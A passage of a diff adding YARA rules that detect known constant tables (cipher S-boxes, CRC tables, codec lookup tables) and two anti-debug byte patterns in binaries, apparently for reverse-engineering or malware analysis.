be84b7f3654637834dec94a9962e14b39e0cb79945ce14868e48b7ac558a37b65da8949c866aa3929b2800b840ea80a248c82388930a8097588c23bd834ea3a78b6c008d50ae80fd780423d7a3c6a3cdabe400e77026a3f8bba000d2606280c8684023e2b382e54c5d71466686b3c67c8e9165565553c6499ed565634517e5794d35465396f7c623be5d6509659fe5136dbd4639b67fe5267df9460ca63bc616ae19653c75db2f2e169b8c04cd590c1ec57baf341eb90c2bd53faf010efd2f1b06df8c31dd1d0c41f5b7af6b2e752f7126578c5bfd952f4436138c6eedd10c74e5f3af5e3e3169f0d0c2cada0b004ac00322e9ead8e04af51366e9dfc8a469c5c086caef1b444a9f33eee9b5e82c69afe00eca853bcc699af04acab02b884aaa23aae980f868382411349b0ecaf61b14c2d4b83e19161b21d290b80b0952381101709b3bdab21b4bf218b86129da387b21f89b51fa3a384e31bc9b64ea7e1b7ee25cb854399e7efad76dddd00caf5dca048dfee0df4f5dff14c9fed5cf0b7ecfc729dde51ceb5d953441febfef837ea5e7a1dd8f3c637e90f7e5ddba2c275da02405fe8affc7b4989c8717b2474597a84f67348294a5979d5f2334b784e1b4ad8cc31787570197f77fab34dda469b4c7ac4b17ed7789b4f2bc0f17d867cd97c26fef34e8b42df2465ade516c811cd176893e725c52fcd143997a726942b8f2734a9a51599158d129b9f272036230f2196a125133b1d0f22c7a565106a194d11ca9b67236727445386f36e612b4f46608bcd6c5226714663dac92c5177750450d7f72e627a4b066578c1ac57d57d845675ffae64d843845524fbee678947c66629c5ec548479c03e6a96fa0cc72ad20d67a8f83fca14d20e36acb83c9b10903d3b92ba0f962e920894a4383a3918103b999a3a0934261038c89e7a0a6522520bc5a07839681c5c984e2856aae3947eab43165499eeaa7ea81212149abfae3c9b1f2c16a9b2903eaeb01a949c1da6bc9dbd2496af1098bc9eec20d6ac419cfeade11ed49f4ca2f8f5a24dc2c70ff1eac6af73c0f402cfeac5fe7780f753cba8f6f34982c45ef5aac35c7f00f1f1c328f0514102c2fcfd28f3004542c1adf96ac00d7b40f2a0c76c21ced30613636f2e12c3ed04206e512e1192e944233f556c229fd74610326b6e1730e1c4259d5dec243ddfc6169063ec276cdb8615c167ae1461e58426cc59a84c22b6927e8f0aba7f2f88904d8234ba7c7e8cd04ed330f84f73b2d27dde0efa7adc84504871387849d1ba527b7c06784a80be12782d023a798d80104b203c34ea06083ed8abb416d90b363ceba68a16da5a327ce8f78e54e9570c7edbfab056dcf83afcee5586d4eff504fedd58b8d4eca400bede09bc96dfa93ebced04829087ea6daab547d182b4e753a8864aef82b7b657e8851bebc084bb69eab616d5c2b1145f6883b9e3408219616ab0b4dd408148652ab3e5d902b2455b2880e8e70bf0093321c2a48f09c3040d23f1a9b109c0550963f2f8b54bf3583761c1f58b49c6f701e3f45abdcbf5fa3fe1c75783cbf6ab3ba1c4068789c5a605a3f70bb98f9de556b5af48ea9daee868b79c45d49dadb96cf79f14d0df9eb452f5ac19eeddab1b647799b6d85f98165a75aabbe65f9b475e35a9eae21da84a60379ae7dc133bc1e819096c543108ccd61b3a616a310b9dd25b39306e733890ec590a3d50710d3fdadb3f9266f33e32e4d90c9f58f33d63e0990fce5cb10e6ede9b3cc362b7562d8d8d648031a56520b38f578d0fa56671b7cf54dc0be7557c89cd67d135e560d3bf4f527e036753de814d61733d67508f850d622239256382bb0f512f072cc55e93d6f7f32ffef653add4c4fe11fef502a994c7af15bcc60f9796f4a22bbef3a0a114c10d1d3cc0ad9f16f200233cc3fc9b56f151277ef0f1a554c25c1978a8b2f6429a1f4a6a9bbfc840a912746a98eecc00aa437028abe3f202994e4e2a9e4cc480ace178a8ad41fa829fec46a8ae10fec29cbd42ea9d1dc0c0afb07ce40e9648ee3c3bf4c63d9b76ec0f36cac63eca72ac0c67ce840dc74cae3f6af08638687a2c0ac5c6040b65442e39c8f8040834406e3a99fc463b397e6c0994c240637a2d7a51d791525077137862daaf5253261738618bab10602b293a5286951255841fb86729a390668921ba54249d9065d825fa577599d256d51bf86478a7db149973f12634cfd927944df31539f1d924c549b31668f59b17c877b12565cb992267413310cafd1b116a7f3123c7c31b123b7b712096c75921364573139bf95f797516654bd8aa4d4a78286778d5944d49292c277b84900f7a2412254889ae0d4f8b24a77d26988f7c861aa54e2ba68f7fd71ee54d7aa2cd4cda20e77e779cc3df51a8c9edfc14e1ec5c96cbdef12ae1ef0d928bdda02ea3dc00ac89eead10a1e9af9a0bdb022623daa2a409e80f1823d9f3a049eb5e1c61eafe9e4bd8532267b2bdcd5d8010717581b0f35fb31d4f7582e1f71fb04c4b37b1ecc91d834175358443ff9fb6ee43b7b74ec19d85e37db7b41fc5dd86b279f58712fbdfb5bf47f366d15399547cefb155dc6d9b6771d1b1568d69db6420d5f3658057d9572debf1502f615b6282dd7363225f59518fe37360735b1952dee731537e651b61d3d9370b3d360d39908a253830080f0a9db4253b610c4f09ccb067086c324d3ac18e653dc304cf0f6eb8e70ece3acd3c6386e70d9f3e8d3f3282a53e92008f0c3fbcabad1988a19fb434899e14b6a3acb90a899d45b2e3afe80ecbae488ce19ce530c99be7ba63a94a064ba8ea84619a47384babbb802199163c0998b6be23aa1b020fc0f5ed35f258511df3f8d337c1556f1df0a9d777c2046b5fc3a4e975f109555df60bdff7c4a663dfc506e1f5f7ab5ddfc657e5b5f4fa599df55adbb7c7f76794b716b3be85bb0f96841b8dbcb6b63196874a89fcb5e735d4b447b7fe86ea0bd681e8817cb3453d54b2e5bf7e80480354b1b4bb3e8319071682b9853cb0143910dafad62ae8576a02e9f7e828db5a5402eaa6ec68d80b5040d9abd26aeb066e42ec04e4e8dea958c0df09daeaeda466c0dc58deaaeef56282ef55e0a8ddf85c8c7cde68864e73d4ae4fd356847d7eeaae4c8252c47e2feeec7f8f6cc64d22d0ee4a205a44788de66c792d64464b80d86c7a7c600648d1dc2e49715e047bdce22811320d12239fb13a223f331010928f3a216e375013c38b781263095220ceb57a27cc3fd0156183f814c101d2266cbdf817900592253db9ba249d3b9 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_s_from_var_func__flt64___64_big_488_
+{
+strings:
+	$a0 = { bfd3441355475a32bfd0446b69db65edbfca16d6dc1a47aabfc33a2595bbbe88bfb7f388f93865a2bfa16f5b01ae55e93f9cd1485c9023cf3fb7c6b0531982883fc47b4e54f7a9193fcd5e2046c764ae3fd3441355475a323fd7fb1183b602863fdcd28d002e23293fe0e490a350d2803fe36ec7c957cd463fe60754f3775b813fe8adadb8348f543feb615011904b3c3fee21c8a7a41e583ff0775104d551d73ff1e3bcd35a85883ff355ef1fddebd93ff4cdc8754f37763ff64b1465e892253ff7cda9003eea213ff9555c52e72da13ffae20ee8d10f523ffc73abc947064f3ffe09f40a2877ee3fffa4e7ab7564304000a2291fb3fa6e40017414a4d2b2c0400248216c61522a40031e44fa05143c4003f674d16334834004d0a67620ee8d4005acca2db61bb040068adab9f559b440076ac8605681ed40084c8de2ac322340093020c49ba5e3400a157689ca18bd400afc84b5dcc63f400be5460aa64c30400ccfb549f94856400dbbc2b94d9408400ea96e58a32f45400f98adab9f559b401044bb1af3a14d4010bde3fbbd7b20401137cc39ffd60f4011b27136a400fc40122dd052934acb4012a9e44fa05144401326ad2dcb14664013a4284dfce3154014225072085b184014a122fad6cb534015209fe86833c64015a0c49ba5e3544016218bd66277c4 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_ulaw_decode__16_big_256_
+{
+strings:
+	$a0 = { 828486848A848E84928496849A849E84A284A684AA84AE84B284B684BA84BE84C184C384C584C784C984CB84CD84CF84D184D384D584D784D984DB84DD84DF84E104E204E304E404E504E604E704E804E904EA04EB04EC04ED04EE04EF04F004F0C4F144F1C4F244F2C4F344F3C4F444F4C4F544F5C4F644F6C4F744F7C4F844F8A4F8E4F924F964F9A4F9E4FA24FA64FAA4FAE4FB24FB64FBA4FBE4FC24FC64FC94FCB4FCD4FCF4FD14FD34FD54FD74FD94FDB4FDD4FDF4FE14FE34FE54FE74FE8CFE9CFEACFEBCFECCFEDCFEECFEFCFF0CFF1CFF2CFF3CFF4CFF5CFF6CFF7CFF88FF90FF98FFA0FFA8FFB0FFB8FFC0FFC8FFD0FFD8FFE0FFE8FFF0FFF80000 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V2__32_big_1024_
+{
+strings:
+	$a0 = { 6a01bbb966b1e59a14cde2651b51258757a4f7a2be03d0d6b504d6de85feb3524aadfdbae063cf099684091c4d1aa591374d3da75ca3f1aa17e17ba48ef9b55a20ac46038411c4e668c255cca80ddcc6d099aa8541aafbb20f9cc7e2ae55f359c120febea2e5ad7acc7fd7290ae871bce63be096db9eac8d152295d1aace32b37393704b3bfd638452d041fc1ce67dac789476436106bdb1f1da9b32e5177957b35cf941564b8016c20c677f7ecc59dc9f40e161c3e310cb2f3081e1160e0c10675e922e3f66a26ecf534ee89c6c78a00e73b0569a34573fed3ce69e358ed3d22380dfc2d72ef2ae486e13cf6c5994265e601fdf049bc1eaf31975473e89d5daefff08eb47f2d42db7c738ab11b9543b36a24a1326f4699cee107f5f8b8d0304e34f56c89447e769deea1ad3ba98113c692d227831151238fd6ac5119bdb208b58383040976b7ea87f232e682c1c18200b070608ab214507ca27f8b60d5f299764720befdc29f4a6b2b38ef58a6274b0a4bd82e5fc85b2a5f81e734f95a890dd7708b1a12a4437bf3da54c1bea8bbeb56db6e3923c4a3baf727c07ff9d830f14214331b7b19f1734e4f80ee333d6fc4dafba84ed2887d9ca4cf5d225c0cf890a74242860a026430fdf056d678c3a5b2f1d090a18187dbc467bb8ef829918cefef035ec861295cdfafb32ea8ebd2f4917921fc8f683a69ccd4b428a0eb9b488fd90dc268363c553c4a552f55101ef77b41abe52337c0fb7a9226fa876f66dc319d4026b6fbfeca762d176dd31c778d121b6284f1f4e363c50cbc88f02c8e416c3032c99c16beecc0d4981647b0cb05e23461da39938d1fa45e2a0217ca67e6c90f4ae2d6cf5415ad8622a247060e9ca05f9f104fbddc6831276e7c61571509e3ea9e2ab7209c4e87d8dd52c9b54886e631e2593d925d8f05d816572b8ffa92b64fe465cd0ac961d2cbcc03ea3a7911b24533f364840458c06d8b2354c98f7b94a659d7c5b1fcae46d428662736e9a7a532bab400b59d747f4b85bff49d25a44f0cebc395c873d5d27000000005afbde35f2f602f3d5ed1cdb75cb5fd445313a585f8f686b1056238f07b7582be18cb8bdc697a6958f16c2eea30adaced3b53344556719d7eb64c901a1c934bb2edff655cd90a09d88a19ac530fa658c86d22a932968ae7ead796a983a121430271b1e283461a466bb77668806582f9f436915c7797b01f76f750de7f782b4adc45448e09eaf96d51992cbf2e84850c070bfe98a393e8df1243787e951fcd83d7de0c01d32398bf94fd94be4894eed71137aba4ed6c1851a91335137b0706080082b9fc9c5bb3f54e7d4972244de4dec0574b65eb4eba16a5b14a981808a050c02c3ee755013af892df36f94c90b6177fadd9d3a7a5798368249eb79e9a7277493f0bf42d95d42f85d4c861eda71db39ecd3912a }
+
+condition:
+	$a0
+}
+
+	
+rule LOKI97_values__32_lil_AND_
+{
+strings:
+	$a0 = { 11290000[0-20]00200000[0-20]a70a0000[0-20]00080000[0-20]b979379e[0-20]157c4a7f }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_MMR_wcodes__16_big_630_
+{
+strings:
+	$a0 = { 06A0000800000380000600010E00000400021000000400031600000400041800000400051C00000400061E000004000713000005000814000005000907000005000A08000005000B04000006000C01800006000D1A000006000E1A800006000F15000006001015800006001109C00007001203000007001302000007001405C00007001500C0000700160100000700170A00000700180AC00007001904C00007001A09000007001B06000007001C00400008001D00600008001E03400008001F03600008002002400008002102600008002202800008002302A00008002402C00008002502E00008002605000008002705200008002805400008002905600008002A05800008002B05A00008002C00800008002D00A00008002E01400008002F0160000800300A40000800310A60000800320A80000800330AA00008003404800008003504A0000800360B00000800370B20000800380B40000800390B600008003A09400008003B09600008003C06400008003D06600008003E06800008003F1B00000500401200000500800B80000600C00DC00007010006C00008014006E0000801800C80000801C00CA0000802000D00000802400CE0000802800CC0000902C00CD0000903000D20000903400D30000903800D40000903C00D50000904000D60000904400D70000904800D80000904C00D90000905000DA0000905400DB0000905800980000905C009900009060009A0000906400C000006068009B0000906C00020000B07000030000B07400034000B07800024000C07C00026000C08000028000C0840002A000C0880002C000C08C0002E000C09000038000C0940003A000C0980003C000C09C0003E000C0A0000000000FFFF }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_FPTable__32_lil_512_
+{
+strings:
+	$a0 = { 0000000004000000080000000c0000001000000014000000180000001c0000002000000024000000280000002c0000003000000034000000380000003c0000004000000044000000480000004c0000005000000054000000580000005c0000006000000064000000680000006c0000007000000074000000780000007c0000000100000005000000090000000d0000001100000015000000190000001d0000002100000025000000290000002d0000003100000035000000390000003d0000004100000045000000490000004d0000005100000055000000590000005d0000006100000065000000690000006d0000007100000075000000790000007d00000002000000060000000a0000000e00000012000000160000001a0000001e00000022000000260000002a0000002e00000032000000360000003a0000003e00000042000000460000004a0000004e00000052000000560000005a0000005e00000062000000660000006a0000006e00000072000000760000007a0000007e00000003000000070000000b0000000f00000013000000170000001b0000001f00000023000000270000002b0000002f00000033000000370000003b0000003f00000043000000470000004b0000004f00000053000000570000005b0000005f00000063000000670000006b0000006f00000073000000770000007b0000007f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x8408__16_big_refl_False_
+{
+strings:
+	$a0 = { 000084088c1808109c38183010209428bc7838703060b4682040a448ac582850fcf878f070e0f4e860c0e4c8ecd868d04080c488cc984890dcb858b050a0d4a87df8f9f0f1e075e8e1c065c86dd8e9d0c18045884d98c9905db8d9b0d1a055a8810005080d1889101d389930912015283d78b970b1603568a14025482d58a950fbf07ff877e8f3e067c8e3c0ebd06fd84788c380cb904f98dbb05fb857a8d3a0070883008b100f189b301f3817289320bb703f783768b3602748a340ab502f58860802000a108e181a309e38962812203a70be78b6683260a64822402a50ae587af0fef8f6e872e0e6c862c06ad0eed8c68842804a90ce985ab0deb8d6a852a073e8f7e0fff07bf8efd06bd863c8e7c0cf904b984388c78053a8d7a0dfb05bb88f100b1803088700132897209f301b383368b760bf703b78af502b582348a7400e108a1882080600922816201e309a38b26836603e70ba782e50aa58a2482640f2e876e07ef0faf86ed0ead8e2c866c04e90ca98c2884680d2a856a05eb0dab888180c10040080081420902898381c303460b068b8783c70a8582c502440a04874e0f0e8f8f87cf0e8d86cd064c0e0c8c8984c904480c08854a0d0a8d8b85cb0f5e071e879f8fdf069d8edd0e5c061c84998cd90c5804188d5a051a859b8ddb009188d10850001089520112819389d30b56031683978bd702958ad50a5402148 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721__dqlntab__16_big_32_
+{
+strings:
+	$a0 = { F8000004008700D501110143017501A901A901750143011100D500870004F800 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__RDG_OEP_Signature_Spoofing__8_byt_6_
+{
+strings:
+	$a0 = { 0bb666b122b7 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox4__32_big_256_
+{
+strings:
+	$a0 = { 00802001000020810000208100000080008020800080008100800001000020010000000000802000008020000080208100000081000000000080008000800001000000010000200000800000008020010000008000800000000020010000208000800081000000010000208000800080000020000080208000802081000000810080008000800001008020000080208100000081000000000000000000802000000020800080008000800081000000010080200100002081000020810000008000802081000000810000000100002000008000010000200100802080008000810000200100002080008000000080200100000080008000000000200000802080 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_interplay_delta_table__16_lil_512_
+{
+strings:
+	$a0 = { 00000100020003000400050006000700080009000A000B000C000D000E000F0010001100120013001400150016001700180019001A001B001C001D001E001F0020002100220023002400250026002700280029002A002B002F00330038003D00420048004F0056005E00660070007A00850091009E00AD00BD00CE00E100F5000B0124013E015C017B019E01C401ED011A024B028002BB02FB0240038C03DF0339049C0408057D05FE0589062207C9077F0845091E0A0A0B0C0C250D580EA80F1511A412581433163A186F1AD91C7B1F5A227D25E828A42CB7302935033A4E3F1545624B4452C559F661E76AA8744D7FEB8A98976EA586B4FFC4F9D697EAFFFF0100010069150729013B7A4B925A68681575B380588B19950A9E3BA6BCAD9EB4EBBAB2C0FDC5D7CA49CF5CD318D783DAA6DD85E027E391E5C6E7CDE9A8EB5CEDEBEE58F0A8F1DBF2F4F3F6F4E2F5BBF681F737F8DEF877F902FA83FAF8FA64FBC7FB21FC74FCC0FC05FD45FD80FDB5FDE6FD13FE3CFE62FE85FEA4FEC2FEDCFEF5FE0BFF1FFF32FF43FF53FF62FF6FFF7BFF86FF90FF9AFFA2FFAAFFB1FFB8FFBEFFC3FFC8FFCDFFD1FFD5FFD6FFD7FFD8FFD9FFDAFFDBFFDCFFDDFFDEFFDFFFE0FFE1FFE2FFE3FFE4FFE5FFE6FFE7FFE8FFE9FFEAFFEBFFECFFEDFFEEFFEFFFF0FFF1FFF2FFF3FFF4FFF5FFF6FFF7FFF8FFF9FFFAFFFBFFFCFFFDFFFEFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_11_tap_filter__flt32___32_big_44_
+{
+strings:
+	$a0 = { 3c02df1a3ca4cb5bbd4d720abdfe68ca3e9597483f354d7d3e959748bdfe68cabd4d720a3ca4cb5b3c02df1a }
+
+condition:
+	$a0
+}
+
+	
+rule t264_deblock_threshold_tc0__8_byt_156_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000100000100000100010100010101010101010101010101010101010201010201010201010201020301020302020302020402030402030403030503040603040604050704050804060905070a06080b06080d070a0e080b10090c120a0d140b0f170d1119 }
+
+condition:
+	$a0
+}
+
+	
+rule LZO_1x_999_compress_level__32_lil_216_
+{
+strings:
+	$a0 = { 000000000000000000000000080000000400000000000000000000000000000000000000100000000800000000000000000000000000000000000000200000001000000000000000010000000400000004000000100000001000000000000000010000000800000010000000200000002000000000000000010000000800000010000000800000008000000000000000020000000800000020000000800000000001000000000000020000002000000080000000000400000008000001000000020000000004000000040000000400000010000001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule AAC_pred_max_bands_tbl__avcodec___8_byt_16_
+{
+strings:
+	$a0 = { 21212628282829292525252200000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_css_tab2__8_byt_256_
+{
+strings:
+	$a0 = { 000102030405060709080b0a0d0c0f0e12131011161714151b1a19181f1e1d1c24252627202122232d2c2f2e29282b2a36373435323330313f3e3d3c3b3a393849484b4a4d4c4f4e40414243444546475b5a59585f5e5d5c52535051565754556d6c6f6e69686b6a64656667606162637f7e7d7c7b7a7978767774757273707192939091969794959b9a99989f9e9d9c808182838485868789888b8a8d8c8f8eb6b7b4b5b2b3b0b1bfbebdbcbbbab9b8a4a5a6a7a0a1a2a3adacafaea9a8abaadbdad9d8dfdedddcd2d3d0d1d6d7d4d5c9c8cbcacdcccfcec0c1c2c3c4c5c6c7fffefdfcfbfaf9f8f6f7f4f5f2f3f0f1edecefeee9e8ebeae4e5e6e7e0e1e2e3 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_log2_tab__flt32___32_big_260_
+{
+strings:
+	$a0 = { 000000003cb73cb43d35d69c3d8759c53db31fb83dde42123e0462c43e19574f3e2e00d23e42615f3e567af13e6a4f723e7de0b63e88983f3e92203d3e9b89263ea4d3c23eae00d23eb7110e3ec0052b3ec8ddd43ed19bb03eda3f603ee2c97d3eeb3a9f3ef393553efbd42b3f01fed43f0608283f0a06503f0df9893f11e20f3f15c01a3f1993e33f1d5da03f211d843f24d3c23f28808c3f2c24113f2fbe803f3350043f36d8cb3f3a58ff3f3dd0c83f41404f3f44a7ba3f4807313f4b5ed73f4eaed03f51f7403f5538483f5872093f5ba4a43f5ed0393f61f4e53f6512c73f6829fb3f6b3a9f3f6e44cd3f7148a13f7446363f773da43f7a2f043f7d1a713f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_128__flt32___32_lil_1024_
+{
+strings:
+	$a0 = { 0000803f000000000fb17f3f30fb483d6dc47e3f36bdc83dac3a7d3f8340163ebe147b3fc2c5473ef853783fcdcf783e0bfa743f31a0943e0809713fd47cac3e5e836c3f16efc33ed86b673f80e8da3e97c5613fea5af13e1a945b3f3d9c033f31db543fda390e3f029f4d3fc07f183f03e4453f9a67223ff9ae3d3f4aeb2b3ff304353ff304353f49eb2b3ffaae3d3f9967223f03e4453fc07f183f029f4d3fd9390e3f32db543f3c9c033f1b945b3fe75af13e98c5613f81e8da3ed86b673f15efc33e5e836c3fd37cac3e0809713f30a0943e0bfa743fc8cf783ef853783fbcc5473ebf147b3f8540163eac3a7d3f35bdc83d6dc47e3f29fb483d0fb17f3f2ebd3bb30000803f41fb48bd0fb17f3f41bdc8bd6dc47e3f8a4016beac3a7d3fc2c547bebe147b3fcdcf78bef853783f33a094be0afa743fd67cacbe0809713f18efc3be5e836c3f80e8dabed86b673fed5af1be97c5613f3d9c03bf1a945b3fdc390ebf30db543fc17f18bf029f4d3f996722bf04e4453f4beb2bbff8ae3d3ff30435bff304353ffbae3dbf48eb2b3f04e445bf9967223f049f4dbfbd7f183f32db54bfd9390e3f1a945bbf3d9c033f99c561bfe65af13ed86b67bf7fe8da3e60836cbf10efc33e090971bfd27cac3e0bfa74bf33a0943ef85378bfc5cf783ebf147bbfc1c5473eac3a7dbf7a40163e6dc47ebf30bdc83d0fb17fbffdfa483d0000803f000000006dc47e3f36bdc83dbe147b3fc2c5473e0bfa743f31a0943e5e836c3f16efc33e97c5613fea5af13e31db543fda390e3f03e4453f9a67223ff304353ff304353f9967223f03e4453fd9390e3f32db543fe75af13e98c5613f15efc33e5e836c3f30a0943e0bfa743fbcc5473ebf147b3f35bdc83d6dc47e3f0000803f00000000be147b3fc2c5473e5e836c3f16efc33e31db543fda390e3ff304353ff304353fd9390e3f32db543f15efc33e5e836c3fbcc5473ebf147b3f2ebd3bb30000803fc2c547bebe147b3f18efc3be5e836c3fdc390ebf30db543ff30435bff304353f32db54bfd9390e3f60836cbf10efc33ebf147bbfc1c5473e0000803f000000000bfa743f31a0943e31db543fda390e3f9967223f03e4453f15efc33e5e836c3f35bdc83d6dc47e3fc2c547bebe147b3fed5af1be97c5613ff30435bff304353f97c561bfed5af13ebf147bbfc1c5473e6dc47ebf47bdc8bd5e836cbf15efc3be05e445bf986722bfd6390ebf34db54bf2da094be0bfa74bf0000803f000000005e836c3f16efc33ef304353ff304353f15efc33e5e836c3f0000803f00000000f304353ff304353f2ebd3bb30000803ff30435bff304353f0000803f0000000015efc33e5e836c3ff30435bff304353f5e836cbf15efc3be0000803f000000000000803f000000000000803f000000002ede4c32000080bf }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_lo_filter__flt64___64_big_72_
+{
+strings:
+	$a0 = { 3f9cbec81f1f569dbfaf337f06d1ff47bfb2c912920d9fa93fda8a4e6236c4ff3fe983b66e3365083fda8a4e6236c4ffbfb2c912920d9fa9bfaf337f06d1ff473f9cbec81f1f569d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_VC_1_and_WMV3_dcpred__16_big_64_
+{
+strings:
+	$a0 = { FFFF040002000155010000CD00AB0092008000720066005D0055004F004900440040003C0039003600330031002F002D002B0029002700260025002300220021 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_opposite_side___30_degree___flt32___32_big_512_
+{
+strings:
+	$a0 = { b762081db8a8c7b438383e8bb7966c09b811daf2b8c8d3f5392358d0b944888d398b0068b9182710b8ad4ae53a2a0876ba8b59163b2e24693ab9d96d3bcc3b43bc0640c1bbd738a03c1c48753c49ac803dfca7833d3d16c9bdd17be13d25cb14bb426070bd908bfb3da75d6b3db2ec5f3d511c6e3dee1fe83e5426b43dc00046bdc8624dbc2bed3b3d59a0d4bdd00643be268b30bd5d47f3bce0ca9cbdc9f040bd8c1f22bb914fe8ba08e8b0bbcc34cf3c6c19973d481dc03d32aa7e3d0b3b583d4b34a13d2699003c00a0013b95914d3cb8e6fc3c061550bc7457abbc991341bc8f02c4bcbea471bd187effbd3740a7bd2eb30cbd18c812bcede42cbc9a6d26bc45c69cbbde2917bafd060b37f715393ab52d7d3ac1f9a33958ddd63b11d8833ba88dcf3af389f4bafe9effbabd9546bb61a418bc1ece60bc41fcb5bc2f944cbc5401d4bc47a219bbcb1cd1bb17f4debb2fa0cdbb4a3ed5bacde8c0ba5594e2baa253beba08a7073ae818c63aada95dbadf21e7bb93d01cbbb1ac57bb81660cbbad8a08bbce579ebb998ac5bb9d89b0bbc3ea59bbc2480dbb893901bb52a1f8bb37f377ba8ebbc839abcb50baaa971ebb523e28bb249883bab4b75abaef9670bb29c51bbb07bd57bb2d2c79bb8289b9bb886e72bb8eb643bb8e8dc3bb707921bb5dee1abb822c52bb8df647bb2d96f4bab57518ba94d102bab3e9b4bb039076 }
+
+condition:
+	$a0
+}
+
+	
+rule Noekeon_Nessie_round__8_byt_17_
+{
+strings:
+	$a0 = { 801b366cd8ab4d9a2f5ebc63c697356ad4 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x4003__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000817f02ff8380017e8001038182fe02fc83830003817c038282fd017d800201788007038782f80006817902f98386038482fb017b800402fa83850005817a02f0838f000f8170038e82f10171800e000c817302f3838c0172800d038d82f2038882f70177800802f68389000981760174800b038b82f4000a817502f5838a0160801f039f82e0001e816102e1839e039c82e30163801c02e2839d001d81620018816702e7839801668019039982e602e4839b001b8164039a82e50165801a039082ef016f801002ee83910011816e016c8013039382ec0012816d02ed839202e8839700178168039682e9016980160014816b02eb8394016a8015039582ea02c083bf003f814003be82c10141803e003c814302c383bc0142803d03bd82c203b882c70147803802c683b9003981460144803b03bb82c4003a814502c583ba0030814f02cf83b0014e803103b182ce02cc83b30033814c03b282cd014d80320148803703b782c80036814902c983b603b482cb014b803402ca83b50035814a03a082df015f802002de83a10021815e015c802303a382dc0022815d02dd83a202d883a70027815803a682d9015980260024815b02db83a4015a802503a582da0150802f03af82d0002e815102d183ae03ac82d30153802c02d283ad002d81520028815702d783a80156802903a982d602d483ab002b815403aa82d50155802a }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Exit_the_program_if_its_being_debugged_by_checking_execution_timing__8_byt_19_
+{
+strings:
+	$a0 = { 0f3133c903c80f312bc13dff0f0000eb086a00 }
+
+condition:
+	$a0
+}
+
+	
+rule zdeflate_lengthCodes__32_lil_1024_
+{
+strings:
+	$a0 = { 010100000201000003010000040100000501000006010000070100000801000009010000090100000a0100000a0100000b0100000b0100000c0100000c0100000d0100000d0100000d0100000d0100000e0100000e0100000e0100000e0100000f0100000f0100000f0100000f0100001001000010010000100100001001000011010000110100001101000011010000110100001101000011010000110100001201000012010000120100001201000012010000120100001201000012010000130100001301000013010000130100001301000013010000130100001301000014010000140100001401000014010000140100001401000014010000140100001501000015010000150100001501000015010000150100001501000015010000150100001501000015010000150100001501000015010000150100001501000016010000160100001601000016010000160100001601000016010000160100001601000016010000160100001601000016010000160100001601000016010000170100001701000017010000170100001701000017010000170100001701000017010000170100001701000017010000170100001701000017010000170100001801000018010000180100001801000018010000180100001801000018010000180100001801000018010000180100001801000018010000180100001801000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001901000019010000190100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001a0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001b0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001c0100001d010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_window__16_big_512_
+{
+strings:
+	$a0 = { 00040007000c00100015001c0022002a0033003d004800540061006f007f009100a400b800cf00e70101011d013b015b017e01a301ca01f40220024f028102b602ee032a036803a903ef0437048304d30526057e05d90639069c0704076f07e0085408cd094b09cd0a540adf0b6f0c040c9e0d3d0de00e890f360fe8109f115c121d12e313ae147e1553162d170b17ef18d719c41ab51bab1ca61da51ea81fb020bc21cc22df23f7251326322755287b29a42ad02c002d322e672f9e30d832143352349235d43717385b39a13ae73c2f3d773ebf40084150429943e14529467047b648fb4a3f4b824cc34e024f3f507a51b252e9541c554d567b57a658cd59f15b125c2f5d485e5d5f6e607b6184628963896484657b666d675b684369276a066adf6bb46c846d4f6e146ed56f90704670f771a3724a72ec7389742174b4754275cb765076cf774a77c1783378a07909796e79ce7a2a7a837ad77b287b757bbe7c037c467c857cc07cf97d2e7d617d917dbe7de87e107e367e597e7a7e997eb67ed17eea7f017f177f2c7f3e7f507f607f6f7f7c7f897f957f9f7fa97fb27fba7fc17fc87fce7fd47fd97fdd7fe17fe57fe87feb7fee7ff07ff27ff47ff57ff77ff87ff97ffa7ffb7ffc7ffc7ffd7ffd7ffe7ffe7ffe7ffe7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff }
+
+condition:
+	$a0
+}
+
+	
+rule Half_Life_packets_decoding_encoding_function_key__8_byt_16_
+{
+strings:
